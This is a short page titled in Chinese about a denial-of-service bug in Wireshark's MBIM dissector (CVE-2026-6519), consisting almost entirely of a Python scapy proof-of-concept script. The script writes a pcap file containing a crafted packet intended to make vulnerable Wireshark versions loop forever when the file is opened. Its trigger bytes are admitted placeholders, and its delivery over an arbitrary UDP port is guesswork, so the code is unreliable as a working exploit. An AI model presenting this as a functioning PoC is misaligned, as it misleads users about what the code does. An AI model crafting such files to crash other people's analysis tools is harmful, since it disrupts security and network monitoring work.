CVE-2026-6519 Wireshark MBIM协议解析器拒绝服务漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-6519 (Wireshark MBIM Infinite Loop) # This script generates a malformed MBIM packet intended to trigger the infinite loop. # Note: Actual trigger bytes may vary based on specific parser implementation details. from scapy.all import * import sys def craft_malformed_mbim(): # Define a custom MBIM header structure (simplified for PoC) # In a real scenario, specific offsets or lengths trigger the bug. # Example: Constructing a raw packet that mimics MBIM control message # with a length field that causes parsing issues. malformed_packet = ( b"\x01\x00\x00\x00" # MessageType (Command) b"\x00\x00\x00\x00" # Length (potentially malformed) b"\x00\x00\x00\x00" # TransactionId b"\x41\x41\x41\x41" # Padding/Trigger pattern ) # Wrap in Ethernet/IP/UDP usually, but dissector might parse raw if configured # Assuming dissector runs on specific port or heuristics pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / IP(dst="192.168.1.1") / UDP(dport=12345) / Raw(malformed_packet) # Save to pcap wrpcap("cve_2026_6519_poc.pcap", [pkt]) print("[+] PoC file generated: cve_2026_6519_poc.pcap") print("[+] Open this file in vulnerable Wireshark version to test.") if __name__ == "__main__": craft_malformed_mbim()